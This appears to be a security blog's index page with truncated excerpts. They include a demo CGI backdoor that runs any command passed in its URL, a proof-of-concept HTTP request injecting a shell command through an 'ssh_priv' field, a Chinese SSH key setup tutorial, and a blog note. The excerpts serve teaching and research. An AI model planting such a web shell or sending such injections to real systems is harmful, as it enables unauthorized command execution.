123456789101112cd /tmpmkdir cgi-binecho '#!/bin/bash' > ./cgi-bin/backdoor.cgiecho 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgiecho 'echo -e $($1)' >> ./cgi-bin/backdoor.cgichmod +x ./cgi-bin/backdoor.cgipython -m http.server --cgiwget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami"student XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this articl ...

PoC： 12345678POST /run HTTP/1.1Host: 127.0.0.1:8000User-Agent: Mozilla/5.0Accept: application/x-yamlConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 87token=12312&client=ssh&tgt=pyn3rd&fun=a&roster=qwe&ssh_priv=aaa& open -a Calculator XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. W ...

本教程所有命令在POWERSHELL下运行 Config 配置config文件 12345678910111213cd ~\.ssh\没有就创建 C:\Users\用户名\.ssh\notepad.exe .\config或者notepad.exe C:\ProgramData\ssh\ssh_configconfig格式：Host 主机名 HostName IP/domain User username Port 22 SSH Key 配置本地密钥，已有请忽略 1234生成密钥ssh-keygen -t rsatype .\id_rsa.pub复制结果 配置远程密钥 1234567891011121314151617首先ssh -P post username@IP/domainsudo apt-get/yum install openssh-serversudo vi /etc/ssh/sshd_config取消注释（搜索指定行）禁用密码登录，启用密钥登录sed -i "s/PasswordAuthentication yes/Passw ...

博客从20_03_01开始运行 中途尝试过多种方案 现在确定使用vercel 博客文章少的可怜，因为文章不小心丢了 可以参观一下 CNBLOGS